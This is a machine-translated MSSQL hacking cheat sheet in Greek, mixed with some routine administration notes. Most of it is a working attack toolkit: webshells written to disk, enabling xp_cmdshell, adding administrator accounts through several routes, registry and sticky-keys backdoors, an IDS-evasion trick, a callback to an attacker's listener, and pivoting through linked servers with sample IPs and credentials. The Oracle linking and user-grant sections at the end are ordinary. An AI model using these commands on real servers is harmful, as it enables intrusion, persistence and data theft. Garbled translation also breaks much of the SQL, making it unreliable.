Συμπερίληψη όλων των τιμών κάτω από αυτό το κλειδί 14. Το MSSQL Backup δημιουργεί ένα webshell Χρησιμοποιήστε το μοντέλο δημιουργία πίνακα cmd (εικόνα str); εισαγωγή σε τιμές cmd(str) ('<% Dim oscrip{filter}t %>'); εφεδρικό μοντέλο βάσης δεδομένων στο disk='c:\l.asp'; 15. Ενσωματωμένες λειτουργίες MSSQL ; και (επιλέξτε @@version)>0 για να λάβετε τον αριθμό έκδοσης των Windows ; και user_name()='dbo' για να προσδιοριστεί αν ο συνδεδεμένος χρήστης του τρέχοντος συστήματος είναι SA ; και (επιλέξτε user_name())>0 Εξερράγησαν οι συνδεδεμένοι χρήστες του τρέχοντος συστήματος ; και (επιλέξτε db_name())>0 για να λάβετε την τρέχουσα συνδεδεμένη βάση δεδομένων 16. Συνοπτικό webshell Χρησιμοποιήστε το μοντέλο δημιουργία πίνακα cmd (εικόνα str); εισαγωγή σε τιμές cmd(str) ('<%=server.createobject("wscrip{filter}t.shell").exec("cmd.exe /c
"&request("c")).stdout.readall%>'); εφεδρικό μοντέλο βάσης δεδομένων στο disk='g:\wwwtest\l.asp'; Όταν ζητάτε, χρησιμοποιήστε κάτι σαν αυτό:
http://ip/l.asp?c=dir ================================================================================================
================================================================================================
================================================================================================
================================================================================================
============================ Λήψη όλων των ονομάτων βάσεων δεδομένων, συμπεριλαμβανομένων των βάσεων δεδομένων συστήματος –ΕΠΙΛΕΞΤΕ όνομα ΑΠΟ τις βάσεις δεδομένων master.dbo.sys
– Λήψη όλων των ονομάτων βάσεων δεδομένων εκτός συστήματος –επιλέξτε [όνομα] από το master.dbo.sysdatabases όπου DBId>6 Ταξινόμηση κατά [όνομα]
– Λάβετε όλες τις πληροφορίες, συμπεριλαμβανομένης της διεύθυνσης του αρχείου της βάσης δεδομένων –επιλέξτε * από master.dbo.sysdatabases όπου DBId>6 Ταξινόμηση κατά
[Ονομα]
Αυτό το ερώτημα πρότασης επιστρέφει όλους τους πίνακες χρηστών
Επιλέξτε * από sysobjects όπου xtype='u'
Ζητήστε όλες τις πληροφορίες του πίνακα δεδομένων στο σύστημα
Επιλέξτε * από sysobjects
Κοιτάξτε το όνομα του μηχανήματος Επιλέξτε * από sys.servers
Πίνακας περιεχομένων στήλης exec master.dbo.xp_subdirs 'c:\'
exec master.dbo.xp_dirtree 'c:',1,1 db_owner Τα δικαιώματα μπορούν να επιβληθούν
exec master.dbo.xp_dirtree 'c:/Program Files',1,1
Κώδικας προγράμματος, γραμμένος στο webshell
exec master.dbo.xp_subdirs 'd:\web\www.xx.com'; Εκτελεστικός sp_makewebtask 'D:
\web\www.XXXX.com\XX.asp','select"<%execute(request("SB"))%>"
Εκτελέστε τον κύριο.. xp_enumgroups
Διέλευση χρηστών συστήματος
Εκτελέστε τον κύριο.. xp_getnetname Λήψη του τρέχοντος ονόματος μηχανήματος
--Καταχωρίστε τις σταθερές μονάδες δίσκου στον διακομιστή, μαζί με τον διαθέσιμο χώρο για κάθε μονάδα δίσκου DBO Δημόσιο
Εκτέλεση
xp_ntsec_enumdomains
-- Δημιουργήστε έναν λογαριασμό για να συνδεθείτε στο MSSQL exec master.dbo.sp_addlogin όνομα, πάσο; --
-- Καταχωρίστε το όνομα τομέα διακομιστή xp_ntsec_enumdomains // Όνομα μηχανήματος //dbo public
-- Διακοπή ή έναρξη υπηρεσίας xp_servicecontrol 'stop', 'schedule' //schedule είναι το όνομα της υπηρεσίας //dbo
--Χρησιμοποιήστε pid
Διακοπή εκτέλεσης προγράμματος xp_terminate_process 123 //123 είναι το pid //dbo
-- Παρατίθενται μόνο οι υποκατάλογοι σε έναν κατάλογο dbo.xp_subdirs 'C:' //dbo
SQL Server Η μέθοδος ανοίγματος του xp_cmdshell το 2005 EXEC sp_configure «εμφάνιση σύνθετων επιλογών», 1; ΕΠΑΝΑΔΙΑΜΌΡΦΩΣΗ; ΣΤΕΛΕΧΟΣ
sp_configure 'xp_cmdshell', 1; ΕΠΑΝΑΔΙΑΜΌΡΦΩΣΗ;
SQL2005 Ανοίξτε το 'OPENROWSET' Υποστηριζόμενες μέθοδοι: exec sp_configure «εμφάνιση σύνθετων επιλογών», 1; ΕΠΑΝΑΔΙΑΜΌΡΦΩΣΗ; εκτελεστικό sp_configure «Ad Hoc
Κατανεμημένα ερωτήματα»,1; ΕΠΑΝΑΔΙΑΜΌΡΦΩΣΗ;
SQL2005 για να ενεργοποιήσετε την υποστήριξη "sp_oacreate": exec sp_configure «εμφάνιση σύνθετων επιλογών», 1; ΕΠΑΝΑΔΙΑΜΌΡΦΩΣΗ; εκτελεστικό
sp_configure «Ole Automation Procedures»,1· ΑΝΑΔΙΑΜΟΡΦΩΣΗ
Πώς μπορείτε να ενεργοποιήσετε xp_cmdshell στον SQL Server 2008
-- Για να επιτρέψετε την αλλαγή των σύνθετων επιλογών. ΣΤΕΛΕΧΟΣ
sp_configure "Εμφάνιση σύνθετων επιλογών", 1 ΠΗΓΑΙΝΩ -- Για να ενημερώσετε την τρέχουσα διαμορφωμένη τιμή για το
προχωρημένες επιλογές. ΑΝΑΔΙΑΜΟΡΦΩΣΗ ΠΗΓΑΙΝΩ -- Για να ενεργοποιήσετε τη δυνατότητα. EXEC sp_configure 'xp_cmdshell', 1 ΠΗΓΑΙΝΩ -- Για να
Ενημερώστε την τρέχουσα διαμορφωμένη τιμή για αυτήν τη δυνατότητα. ΑΝΑΔΙΑΜΟΡΦΩΣΗ ΠΗΓΑΙΝΩ
exec xp_cmdshell 'ipconfig'
Σήμερα, ήθελα να αλλάξω τον κωδικό πρόσβασης σύνδεσης SA του διακομιστή βάσης δεδομένων, αλλά ξαφνικά το ξέχασα, οπότε έπρεπε να ανοίξω τον αναλυτή ερωτημάτων με τη βοήθεια άλλων λογαριασμών για να αλλάξω τον κωδικό πρόσβασης SA
Είναι πολύ απλό:
Εκτέλεση: sp_password Null,'teracypwd,'sa' Ορίστε τον κωδικό πρόσβασης SA σε "teracypwd"
Μετά την επιτυχή εκτέλεση
Υπάρχει "Οι εντολές ολοκληρώθηκαν με επιτυχία". OK!
Στο δικαίωμα db, διαχωρίστε τη μέθοδο απόκτησης της IP διακομιστή βάσης δεδομένων MSSQL
1. Το τοπικό NC ακούει NC -VVLP 80
2.; εισάγετε στο
OPENROWSET('SQLOLEDB','uid=sa; ΑμεΑ=XXX; Δίκτυο=DBMSSOCN; Διεύθυνση=η ip σας, 80; ', 'Επιλέξτε * από
dest_table') επιλέξτε * από src_table. --
Επιλέξτε * από το Openrowset
('sqloledb','διακομιστής=125.110.145.130,6789; uid=sa; pwd=zhu','επιλογή χρήστη; ')
Εισαγωγή και εξαγωγή βάσης δεδομένων
/*不同服务器数据库之间的数据操作*/
--Δημιουργία διακομιστή συνδέσμων εκτελεστικό sp_addlinkedserver
'ITSV', 'SQLOLEDB', 'Όνομα απομακρυσμένου διακομιστή ή διεύθυνση IP' exec sp_addlinkedsrvlogin «ITSV», «false
',null, 'όνομα χρήστη', 'κωδικός πρόσβασης'
--Παράδειγμα ερωτήματος επιλέξτε * από το όνομα βάσης δεδομένων ITSV.dbo.table name
--Παράδειγμα εισαγωγής Επιλέξτε *
στον πίνακα από το ITSV.databasename.dbo.tablename
--Διαγράψτε τον συνδεδεμένο διακομιστή εάν δεν χρησιμοποιείται πλέον στο μέλλον εκτελεστικό sp_dropserver «ITSV»,
«Droplogins»
-- Σύνδεση σε απομακρυσμένα/LAN δεδομένα (openrowset/openquery/opendatasource) --1, openrowset
--Παράδειγμα ερωτήματος Επιλέξτε *
από το openrowset( 'SQLOLEDB ', 'όνομα διακομιστή sql '; «Όνομα χρήστη»· 'password', όνομα βάσης δεδομένων.dbo.table name)
-- Δημιουργία τοπικού πίνακα επιλέξτε * στον πίνακα από το openrowset( 'SQLOLEDB', 'όνομα διακομιστή sql'; «Όνομα χρήστη»· «Κωδικός πρόσβασης», αριθμός
Σύμφωνα με το όνομα της βάσης δεδομένων.dbo. όνομα πίνακα)
-- Εισαγωγή του τοπικού πίνακα στον απομακρυσμένο πίνακα insert openrowset( 'SQLOLEDB', 'όνομα διακομιστή sql'; «Όνομα χρήστη»· «Κωδικοί πρόσβασης», βάσεις δεδομένων
όνομα.dbo.όνομα πίνακα) Επιλέξτε *Από τοπικό πίνακα
-- Ενημέρωση τοπικών πινάκων Ενημέρωση Β σύνολο β. στήλη Α = α από το openrowset( 'SQLOLEDB ', 'όνομα διακομιστή sql '; «Όνομα χρήστη»· '
κωδικός πρόσβασης ', όνομα βάσης δεδομένων .dbo.table name) ως εσωτερικός σύνδεσμος τοπικός πίνακας b σε a.στήλη1=b.στήλη1
--openquery Η χρήση απαιτεί τη δημιουργία σύνδεσης
--Αρχικά, δημιουργήστε μια σύνδεση για να δημιουργήσετε έναν διακομιστή συνδέσμων εκτελεστικό sp_addlinkedserver 'ITSV ', ' ',
«SQLOLEDB», «όνομα απομακρυσμένου διακομιστή ή διεύθυνση IP» --Ρωτώ Επιλέξτε * FROM openquery(ITSV, 'SELECT * FROM data
library.dbo.table name ') -- Εισαγωγή του τοπικού πίνακα στον απομακρυσμένο πίνακα insert openquery(ITSV, 'SELECT * FROM database.dbo.table name') Επιλέξτε * από τοπικό
Πίνακας --ενημέρωση τοπικού πίνακα Ενημέρωση Β ορίστε b. στήλη B=a FROM openquery(ITSV, 'SELECT * FROM database.dbo.tablename')
ως α εσωτερική ένωση τοπικός πίνακας β σε α. στήλη Α=β. στήλη Α
--3, opendatasource/openrowset ΕΠΙΛΟΓΗ * ΑΠΟ
opendatasource( 'SQLOLEDB', 'Πηγή δεδομένων=ip/ServerName; User ID=Όνομα σύνδεσης; Password=Κωδικός πρόσβασης '
).test.dbo.roy_ta -- Εισαγωγή του τοπικού πίνακα στον απομακρυσμένο πίνακα
Διαγραφή και αποκατάσταση xp_cmdshell
Τρόποι ανάκτησης xp_cmdshell Διαγράψτε την εκτεταμένη αποθηκευμένη διαδικασία xp_cmdshell
Δήλωση εκτελεστικός sp_dropextendedproc «xp_cmdshell»
Ανακτήστε την πρόταση sql του cmdshell exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
εκτελεστικό
master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll'· επιλέξτε count(*) από
master.dbo.sysobjects όπου xtype='x' και Το αποτέλεσμα επιστροφής είναι 1 και είναι εντάξει
Διαφορετικά, πρέπει να ανεβάσετε το c:\inetput\web
\xplog70.dll αργότερα exec master.dbo.sp_addextendedproc 'xp_cmdshell','c:\inetput\web\xplog70.dll
’; --
Εάν το διαγράψετε με τον ακόλουθο τρόπο Διαδικασία πτώσης sp_addextendedproc Διαδικασία πτώσης sp_oacreate εκτελεστικό
sp_dropextendedproc «xp_cmdshell»
Μπορείτε να το επαναφέρετε με την ακόλουθη δήλωση dbcc addextendedproc ("sp_oacreate","odsole70.dll") dbcc
addextendedproc ("xp_cmdshell","xplog70.dll")
Με αυτόν τον τρόπο, μπορεί να αποκατασταθεί άμεσα, ανεξάρτητα από sp_addextendedproc αν υπάρχει ή όχι
1、 Χρησιμοποιήστε xp_cmdshell: exec master.dbo.xp_cmdshell "διαχειριστής καθαρού χρήστη / προσθήκη" εκτελεστικό
master.dbo.xp_cmdshell "net localgroup administrators admin /add"
Σε xp_cmdshell την περίπτωση, χρησιμοποιήστε sp_oacreate για να ακολουθήσετε sp_oamethod: δηλώστε @object int εκτελεστικό
sp_oacreate 'wscrip{filter}t.Shell', @object έξω εκτελεστικό sp_oamethod
@object,'Εκτέλεση',NULL,'διαχειριστής καθαρού χρήστη admin /add' exec sp_oamethod @object,'Εκτέλεση',NULL,'καθαρό
localgroup Administrators admin /add'
Σημείωση: regsvr32 /s c:\windows\system32\wshom.ocx Ξεκινήστε το wscrip{filter}t.shell 3、 Χρήση sp_oacreate και FSO δηλώστε @o int εκτελεστικό sp_oacreate
'scrip{filter}ting.filesystemobject', @o έξω exec sp_oamethod @o, 'copyfile',null,'c:\windows
\explorer.exe' ,'c:\windows\system32\sethc.exe'; δηλώστε @oo int εκτελεστικό
sp_oacreate 'scrip{filtering}ting.filesystemobject', @oo έξω εκτελεστικός sp_oamethod @oo,
'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
Χρησιμοποιήστε xp_regwrite (db_owner, απαιτείται επανεκκίνηση): εκτελεστικό master.dbo.xp_regwrite
'hkey_local_machine','Λογισμικό\Microsoft\Windows\CurrentVersion\
run','eadd1','reg_sz','διαχειριστής καθαρού χρήστη /προσθήκη' εκτελεστικό master.dbo.xp_regwrite
'hkey_local_machine','Λογισμικό\Microsoft\Windows\CurrentVersion\
run','eadd2','reg_sz','net localgroup administrators admin/add' 5. Χρησιμοποιήστε sp_add_job: εκτελεστικό
master.dbo.xp_servicecontrol 'έναρξη','SQLSERVERAGENT' Χρησιμοποιήστε το MSDB exec sp_delete_job
null,'x' exec sp_add_job 'x' εκτελεστικό sp_add_jobstep
Null,'x',Null,'1','CMDEXEC','cmd /c καθαρός διαχειριστής χρήστη admin /add' εκτελεστικό sp_add_jobserver
Null,'x',@@servername exec sp_start_job 'x'
Πολλοί SA έχουν πετύχει σε πολλά μηχανήματα απευθείας χρησιμοποιώντας τη λειτουργία sandbox, αλλά δεν το έχω εξασκήσει ποτέ και δεν ξέρω ποιο είναι το ποσοστό επιτυχίας. Όταν αφαιρεθεί η επέκταση, πρώτα
Επαναφέρετε τον χώρο αποθήκευσης ανάγνωσης και εγγραφής στο μητρώο. dbcc addextendedproc ('xp_regread','xpstar.dll') dbcc addextendedproc
('xp_regwrite','xpstar.dll')
Διορθώθηκε η προστατευμένη λειτουργία του sandbox εκτελεστικός πλοίαρχος.. xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet
\4.0\Κινητήρες','SandBoxMode','REG_DWORD',0; --
Δείτε αν η τιμή 'SandBoxMode' έχει γίνει 0.
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','ΛΟΓΙΣΜΙΚΟ
\Microsoft\Jet\4.0\Engines', 'SandBoxMode'
Τέλος, καλέστε τη λειτουργία sandbox Επιλέξτε * από το openrowset('microsoft.jet.oledb.4.0','; βάση δεδομένων=C:\WINDOWS
\system32\ias\dnary.mdb','select shell("cmd.exe /c καθαρός χρήστης passwd /add")')
Εάν η λειτουργία προστασίας sandbox δεν είναι "απενεργοποιημένη", αναφέρεται σφάλμα: Διακομιστής: Μήνυμα 7357, Επίπεδο 16, Κατάσταση 2, Γραμμή 1
Απέτυχε ο χειρισμός του αντικειμένου 'select shell("cmd.exe /c net user user passwd /add")'. Το OLE DB παρέχει προγράμματα
Ο πρόλογος 'microsoft.jet.oledb.4.0' υποδεικνύει ότι δεν υπάρχουν στήλες στο αντικείμενο.
Παρακολούθηση σφαλμάτων OLE DB [Σφάλμα μη διασύνδεσης: Η υπηρεσία παροχής OLE DB δεν μπορεί να επεξεργαστεί το αντικείμενο, καθώς το αντικείμενο
has nocolumnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c καθαρός χρήστης
χρήστης passwd /add")']。
2、 Εάν η .mdb δεν υπάρχει ή η διαδρομή εισόδου είναι λανθασμένη Διακομιστής: Msg 7399, Επίπεδο 16, Κατάσταση 1, Γραμμή 1
Σφάλμα "microsoft.jet.oledb.4.0" της υπηρεσίας παροχής OLE DB. [Ο πάροχος OLE/DB επέστρεψε μήνυμα:
Το αρχείο 'C:\WINDOWS\system32\ias\dnary1.mdb' δεν βρέθηκε. ]
Ανίχνευση σφάλματος OLE DB [Υπηρεσία παροχής OLE/DB 'microsoft.jet.oledb.4.0' IDBInitialize::Initialize επέστρεψε
0x80004005: ]。
3. Εάν υπάρχουν περισσότερα κενά κατά τη διαδικασία εισαγωγής, θα αναφερθεί επίσης ένα σφάλμα. Δώστε ιδιαίτερη προσοχή σε αυτό, πολλοί άνθρωποι αναζητούν απευθείας άρθρα στο διαδίκτυο
Επικολλήστε το και εκτελέστε το. Διακομιστής: Μήνυμα 7357, Επίπεδο 16, Κατάσταση 2, Γραμμή 1 Απέτυχε η επεξεργασία του αντικειμένου 'select
shell("cmd.exe /c καθαρός χρήστης χρήστης passwd /add")'。 Η υπηρεσία παροχής OLE DB 'microsoft.jet.oledb.4.0' δηλώνει ότι δεν υπάρχουν στήλες στο αντικείμενο.
Παρακολούθηση σφαλμάτων OLE DB [Σφάλμα μη διεπαφής: Ο πάροχος OLE DB δεν μπορεί να επεξεργαστεί το αντικείμενο, καθώς το αντικείμενο έχει
nocolumnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c καθαρός χρήστης χρήστη
passwd /add")']。
4、 Εάν τα δικαιώματα mdb και τα δικαιώματα cmd.exe είναι λανθασμένα, το πρόβλημα θα παρουσιαστεί επίσης. Όταν τα δικαιώματα MDB είναι λανθασμένα, Διακομιστής: Εξάλειψη
Τόκοι 7320, Επίπεδο 16, Κατάσταση 2, Γραμμή 1
Δεν μπορούσε να απαντήσει Η υπηρεσία παροχής OLE DB 'Microsoft.Jet.OLEDB.4.0' εκτελεί το ερώτημα. [Ο πάροχος OLE/DB επέστρεψε
message: 未知] Ανίχνευση σφαλμάτων OLE DB [Υπηρεσία παροχής OLE/DB 'Microsoft.Jet.OLEDB.4.0'
ICommandText::Execute returned 0x80040e14]。
5. Εάν η καθαρή άδεια είναι λανθασμένη, δεν υπάρχει προτροπή.
Ο τελικός τρόπος για να αυξήσετε την εξουσία είναι να ανεβάσετε το ias.mdb και το cmd.exe του συστήματος στον τρέχοντα κατάλογο ιστού, net.exe τρία αρχεία.
Εκτέλεση επιλογής * από openrowset('microsoft.jet.oledb.4.0','; database=E:\web\ias.mdb','select shell
("E:\web\cmd.exe /c E:\web\net.exe χρήστης χρήστη passwd /add")') Επιτυχής προσθήκη χρήστη υπολογιστή.
Ο διαχωρισμός του cmdshell παρακάμπτει το IDS δηλώστε @a σύνολο ονομάτων συστήματος @a='xp_'+'cmdshell' exec @a 'ipconfig' δηλώνουν
@a sysname set @a='XP'+'_cm'+'dshell' exec @a 'dir c:\'
Επεξεργασία μετατόπισης πειρατείας μητρώου εκτελεστικός πλοίαρχος.. xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT
\CurrentVersion\Επιλογές εκτέλεσης αρχείου εικόνας\sethc.exe','debugger','REG_sz','c:\windows
\system32\cmd.exe on'; --
Ερώτηση στον διακομιστή συνδέσμων διαλέγω
srvid,srvstatus,srvname,srvproduct,providername,datasource,locatio{filter}n,schemadate,catalog,srvnetnam
e,isremote,rpc,dataaccess από master.dbo.sysservers διαλέγω
srvid,srvstatus,srvname,srvproduct,providername,datasource,locatio{filter}n,schemadate,catalog,srvnetnam
e,isremote,rpc,dataaccess από master.dbo.sysservers
Ερώτημα linkserver2 Επιλέξτε ξεχωριστό όνομα κεντρικού υπολογιστή, db_name(dbid), net_address, loginame, program_name από
κύριος.. Διαδικασίες sys
Ερώτηση στον διακομιστή συνδέσμων και άλλους συνδεδεμένους χρήστες Επιλέξτε * από [192.168.1.1].master.dbo.syslogins
Ερώτημα linkserver Όλες οι βάσεις δεδομένων επιλέξτε * από το linkedSrvWeb.master.dbo.sysdatabases
Εκτελέστε εκτεταμένο χώρο αποθήκευσης στο LinkServer εκτελεστικό [ip].master.dbo.xp_cmdshell
Υποβολή ερωτημάτων σε όλους τους πίνακες στον διακομιστή συνδέσμων Επιλέξτε * από [ip].master.dbo.sysobjects
Επιλέξτε * από το Openrowset
('sqloledb','server=IP; uid=χρήστης; pwd=password','επιλέξτε @@version')
επιλέξτε * από το openquery([LINKSERVER
όνομα],'επιλέξτε @@version')
επιλέξτε * από το openquery(NDOORS,'select IS_SRVROLEMEMBER(''sysadmin'')')
επιλέξτε * από openquery(GM_SERVER,'select * από sysobjects όπου xtype = (''U'')')
Επιλέξτε * από
openquery(NDOORS,'Επιλογή IS_MEMBER(''db_owner'')')
Επιλέξτε * από το OpenQuery(toatdeweb,'select
srvname από master.dbo.sysservers')
Εισαγωγή στο OpenDataSource
('sqloledb','διακομιστής=222.241.95.12; uid=scd; ΑμεΑ=Α123520; database=hack520').hack520.dbo.zhu επιλέξτε
όνομα από master.dbo.sysdatabases δημιουργία βάσης δεδομένων hack520 Δημιουργία ΠΙΝΑΚΑ zhu(όνομα nvarchar(256)
null); Δημιουργία ΠΙΝΑΚΑ J8(id int NULL,name nvarchar(256) null);
Επιλέξτε * από το OpenQuery
(toatdeweb,'set fmtonly off exec master.dbo.xp_cmdshell ''net user''')
εκτελεστικός πλοίαρχος.. xp_dirtree
'c:\',1,1 Εκτέλεση καταλόγου ερωτήματος
exec links.master.. xp_cmdshell 'ipconfig'
Επιλέξτε * από το OpenQuery(toatdeweb,'set
fmtonly off exec master.dbo.xp_cmdshell ''ipconfig /all''')
Σύνδεση mysql Επιλέξτε * από Mem_DB. UserDB.dbo.AdminList
ΕΚΤΕΛΕΣΤΙΚΌΣ ΔΆΣΚΑΛΟΣ.. XP_dirtree 'c:\',1,1
Στέλεχος
master.dbo.xp_cmdshell «σκηνοθεσία»
Επιλέξτε Count(*) από [Ένδειξη] Υποβολή ερωτήματος για τον όγκο των δεδομένων στον τρέχοντα πίνακα
Επιλέξτε ξεχωριστό όνομα κεντρικού υπολογιστή, db_name(dbid), net_address, loginame, program_name
από τον κύριο.. Διαδικασίες sys
Επιλέξτε * από το GameDB01. Server01.dbo.cabal_character_table όπου όνομα='
Γουρούνι»
Όταν το διαγράφετε, λέει: Η βάση δεδομένων χρησιμοποιείται και δεν μπορεί να διαγραφεί.
Κάντε κλικ στη βάση δεδομένων που θέλετε να διαγράψετε για να ανοίξετε την Προβολή συμβάντων.
Εισαγωγή:
Χρήση
Δάσκαλος Μετάβαση Στη συνέχεια, εισαγάγετε τα εξής: δηλώστε @d varchar(8000) set @d= ' ' επιλέξτε @d=@d+ ' kill
'+cast(spid ως varchar)+char(13) από τον κύριο.. sysprocesses όπου dbid=db_id('όνομα βιβλιοθήκης') exec(@d) -- Χρησιμοποιήστε κώδικα για να διαγράψετε πρώτα τη διαδικασία που συνδέεται με αυτήν τη βάση δεδομένων
Η MSSQL λειτουργεί την Oracle μέσω του LinkServer
1) Εγκαταστήστε την Oracle στον διακομιστή SQL_SERVER 2005
9i πελάτης. Ας υποθέσουμε ότι η εγκατάσταση στον κατάλογο C:\ora92i\. Εάν το D: είναι ένα διαμέρισμα NTFS, πρέπει να ορίσετε τον εγκατεστημένο κατάλογο ORACLE ως αυτόν που χρησιμοποιείται
Οι συνδρομητές έχουν το δικαίωμα να εκτελούν, να προσθέτουν και να διαγράφουν.
2) Διαμορφώστε το αρχείο C:\ora92i\network\ADMIN\tnsnames.ora. (Το παρακάτω κόκκινο κείμενο είναι ένα παράδειγμα διαμόρφωσης)
ORCL=
(DEscrip{filter}tION=.)
(ADDRESS_LIST =
(ΔΙΕΎΘΥΝΣΗ = (ΠΡΩΤΌΚΟΛΛΟ = TCP)(ΚΕΝΤΡΙΚΌΣ ΥΠΟΛΟΓΙΣΤΉΣ = 192.168.0.11)(ΘΎΡΑ= 1521))
)
(CONNECT_DATA =
(SERVICE_NAME = orcl)
)
)
3) Εκτελέστε την ακόλουθη εντολή σε λειτουργία DOS για να επιβεβαιώσετε ότι ο πελάτης ORACLE έχει εγκατασταθεί σωστά.
Χρήστης/password@ORCL sqlplus
4) Ανοίξτε το Start - Control Panel - Services και επιβεβαιώστε ότι έχει ξεκινήσει η υπηρεσία Συντονισμού κατανεμημένων συναλλαγών.
5) Ανοίξτε το SQL SERVER Management Studio, Όνομα παρουσίας (ORCL) - Αντικείμενο διακομιστή (δεξί κλικ) - Νέος διακομιστής σύνδεσης.
1.
Διακομιστής σύνδεσης: Γράψτε το όνομα του συνδεδεμένου διακομιστή, όπως OracleTest
2. Τύπος διακομιστή, επιλογή διαφορετικής προέλευσης δεδομένων
3. Διεπαφή πρόσβασης: Επιλέξτε υπηρεσία παροχής Oracle για OLE DB
4. Όνομα προϊόντος: Γράψτε Oracle
5. Πηγή δεδομένων: Εγγραφή
Το όνομα υπηρεσίας που έχει ρυθμιστεί στο αρχείο tnsnames.ora, όπως το ORCL
6. Συμβολοσειρά διεπαφής πρόσβασης: userid=sys ως sysdba; password=κωδικός πρόσβασης
7. Στη σελίδα Επιλογή επιλογών ασφαλείας, χρησιμοποιήστε αυτό το περιβάλλον εγκατάστασης για να δημιουργήσετε μια σύνδεση:
α) Απομακρυσμένη σύνδεση: χρήστης (άλλος χρήστης, όχι sys)
b)
Χρήση κωδικού πρόσβασης: κωδικός πρόσβασης
8. Ορίστε το "NT AUTHORITY\SYSTEM" στην τοπική σύνδεση, στο σύστημα απομακρυσμένου χρήστη και ορίστε τον κωδικό πρόσβασης
9.
Είσαι σίγουρος
6) Υπάρχουν δύο τρόποι για να γράψετε SQL
α) Χρήση σύνταξης T-SQL:
ΕΠΙΛΟΓΗ * ΑΠΟ
OraTest.ERP.BAS_ITEM_CLASS
Σημειώστε ότι όταν εισάγετε προτάσεις SQL στο SQL Query Analyzer, δώστε προσοχή στην κινεζική εναλλαγή πλήρους πλάτους και μισού πλάτους
τρόπο!
β) Χρησιμοποιήστε σύνταξη PLSQL: SELECT * FROM openquery(OraTest,'SELECT * FROM
OraTest.ERP.BAS_ITEM_CLASS')
γ) Η δεύτερη μέθοδος πρόσβασης είναι περίπου 50% ταχύτερη από την πρώτη. Η δεύτερη μέθοδος πρόσβασης συνδέεται απευθείας
Η ORACLE είναι συγκρίσιμη. Η πρώτη μέθοδος πρόσβασης μπορεί να οδηγήσει σε ορισμένα απροσδόκητα σφάλματα, όπως: Ο πίνακας δεν υπάρχει, ή ο τρέχων χρήστης
Δεν υπάρχει πρόσβαση στο τραπέζι και ούτω καθεξής.
δ) Εάν η στήλη στην οποία πρέπει να γίνει πρόσβαση χρησιμοποιεί τύπους δεδομένων χωρίς ακρίβεια,
Αυτό είναι ένα σφάλμα της ORACLE που δεν μπορεί να διορθωθεί και μπορεί να αποφευχθεί μόνο με ειδικό χειρισμό των δηλώσεων ερωτήματος:
Τα μεταδεδομένα που παρέχονται από τον πάροχο OLE DB «OraOLEDB.Oracle» για τις στήλες είναι ασυνεπή. Οι πληροφορίες μεταδεδομένων αλλάζουν κατά την εκτέλεση.
Προστέθηκε mssql
Διαγραφή του χρήστη και εκχώρηση δικαιωμάτων
Χρησιμοποιήστε το όνομα της βιβλιοθήκης σας Μετάβαση --Προσθήκη χρηστών exec sp_addlogin 'test' -- προσθήκη σύνδεσης εκτελεστικό
sp_grantdbaccess N'test' - καθιστώντας το νόμιμο χρήστη της τρέχουσας βάσης δεδομένων εκτελεστικό sp_addrolemember N'db_owner',
N'test' - εκχωρεί όλα τα δικαιώματα στη δική του βάση δεδομένων --Αυτό δημιουργεί χρήστες που μπορούν να έχουν πρόσβαση μόνο στη δική τους βάση δεδομένων και σε ό,τι περιλαμβάνεται στη βάση δεδομένων
Δημόσιος πίνακας για χρήστες-επισκέπτες Μετάβαση --Κατάργηση δοκιμαστικού χρήστη exec sp_revokedbaccess N'test' -- Καταργήστε την πρόσβαση στη βάση δεδομένων
Όριο exec sp_droplogin N'test' -- διαγραφή σύνδεσης Εάν το δημιουργήσετε στο Enterprise Manager, χρησιμοποιήστε: Enterprise Manager - Ασφάλεια
Φύλο --Δεξί κλικ Σύνδεση--Νέα Σύνδεση Γενικά στοιχεία --Εισαγάγετε το όνομα χρήστη στο όνομα
--Η μέθοδος ελέγχου ταυτότητας επιλέγεται σύμφωνα με τις ανάγκες σας (εάν χρησιμοποιείτε έλεγχο ταυτότητας Windows, πρέπει πρώτα να δημιουργήσετε έναν νέο χρήστη μεταξύ των χρηστών του λειτουργικού συστήματος)
--Στις προεπιλεγμένες ρυθμίσεις, επιλέξτε το όνομα της βάσης δεδομένων στην οποία θέλετε να αποκτήσετε πρόσβαση για τον νέο χρήστη Στοιχείο ρόλου διακομιστή Μην επιλέξετε τίποτα σε αυτό βάση δεδομένων
Στοιχείο πρόσβασης Ελέγξτε το όνομα της βάσης δεδομένων στην οποία θέλετε να αποκτήσετε πρόσβαση για το χρήστη που δημιουργείτε Επιτρέψτε τον ρόλο της βάσης δεδομένων, επιλέξτε "δημόσιο", "db_ownew" Σίγουρα, αυτό
Ο χρήστης που δημιουργείται από το δείγμα είναι ο ίδιος με τον χρήστη που δημιουργείται από την παραπάνω δήλωση
Το τελευταίο βήμα είναι να ορίσετε συγκεκριμένα δικαιώματα πρόσβασης για συγκεκριμένους χρήστες, τα οποία μπορούν να αναφερθούν στο ακόλουθο ελάχιστο παράδειγμα:
--Προσθέστε χρήστες στους οποίους επιτρέπεται να έχουν πρόσβαση μόνο στον καθορισμένο πίνακα: exec sp_addlogin 'όνομα χρήστη', 'κωδικός πρόσβασης', 'προεπιλεγμένο όνομα βάσης δεδομένων'
--προσθήκη στη βάση δεδομένων exec sp_grantdbaccess «όνομα χρήστη»
--Εκχώρηση δικαιωμάτων ολόκληρου του πίνακα ΕΠΙΛΟΓΗ ΕΠΙΛΟΓΗΣ , ΕΙΣΑΓΩΓΗ , ΕΝΗΜΕΡΩΣΗ , ΔΙΑΓΡΑΦΗ ΣΤΟΝ πίνακα1 ΠΡΟΣ [όνομα χρήστη] --Εκχωρήστε δικαιώματα σε συγκεκριμένες στήλες GRANT SELECT , ΕΝΗΜΕΡΩΣΗ ΣΤΙΣ table1(id,AA) ΣΕ [όνομα χρήστη]
Για συγκεκριμένες ρυθμίσεις ασφαλείας και θεωρητικές γνώσεις, ανατρέξτε στην ηλεκτρονική βοήθεια SQL
Διορθώθηκε η περιγραφή ρόλου βάσης δεδομένων db_owner Έχετε πλήρη δικαιώματα στη βάση δεδομένων.
